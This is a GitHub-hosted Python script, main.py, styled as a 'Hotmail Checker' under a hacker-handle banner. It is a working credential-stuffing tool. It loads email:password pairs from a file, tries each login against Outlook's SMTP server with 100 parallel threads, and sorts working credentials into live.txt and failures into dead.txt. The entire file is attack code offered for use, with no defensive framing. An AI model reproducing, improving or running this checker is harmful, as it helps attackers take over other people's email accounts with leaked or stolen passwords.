-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathmain.py
64 lines (56 loc) · 2.29 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import smtplib
import traceback
import concurrent.futures
from colorama import Fore
live = open('live.txt', 'w')
dead = open('dead.txt', 'w')
def banner():
print(f"""{Fore.LIGHTYELLOW_EX}
____ __.____________________ ___ ___ _____ _________ ____ ___
| |/ _|\__ ___/ _____// | \ / _ \ \_ ___ \\ \/ /
| < | | \_____ \/ ~ \/ /_\ \/ \ \/ \ /
| | \ | | / \ Y / | \ \____/ \
|____|__ \ |____| /_______ /\___|_ /\____|__ /\______ /___/\ \\
\/ \/ \/ \/ \/ \_/
{Fore.LIGHTBLUE_EX}Github: {Fore.LIGHTCYAN_EX}@ktshacx
{Fore.LIGHTBLUE_EX}Telegram: {Fore.LIGHTCYAN_EX}@ktshacx
{Fore.WHITE}
=====================================================================
{Fore.LIGHTRED_EX}Hotmail Checker{Fore.WHITE}
=====================================================================
""")
def check(subject, body, to_email, sender_email, sender_password):
try:
message = f"Subject: {subject}\n\n{body}"
smtp_server = "smtp-mail.outlook.com"
smtp_port = 587
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(sender_email, sender_password)
server.sendmail(sender_email, to_email, message)
server.quit()
return None
except smtplib.SMTPAuthenticationError:
return "Authentication failed."
except Exception as e:
error_message = f"{str(e)}\n{traceback.format_exc()}"
return error_message
def check_emailpass(emailpass):
global live
global dead
e = str(emailpass).split(':')
c = check('Checking...', 'Checking...', e[0], e[0], e[1])
if c is None:
with open('live.txt', 'a') as file:
file.write(emailpass)
print(Fore.CYAN, emailpass, Fore.WHITE, '->', Fore.LIGHTGREEN_EX, 'Login Success', Fore.WHITE)
else:
with open('dead.txt', 'a') as file:
file.write(emailpass)
print(Fore.CYAN, emailpass, Fore.WHITE, '->', Fore.LIGHTRED_EX, c, Fore.WHITE)
return
banner()
with open('emails.txt', 'r') as file:
emails = file.readlines()
with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
results = list(executor.map(check_emailpass, emails))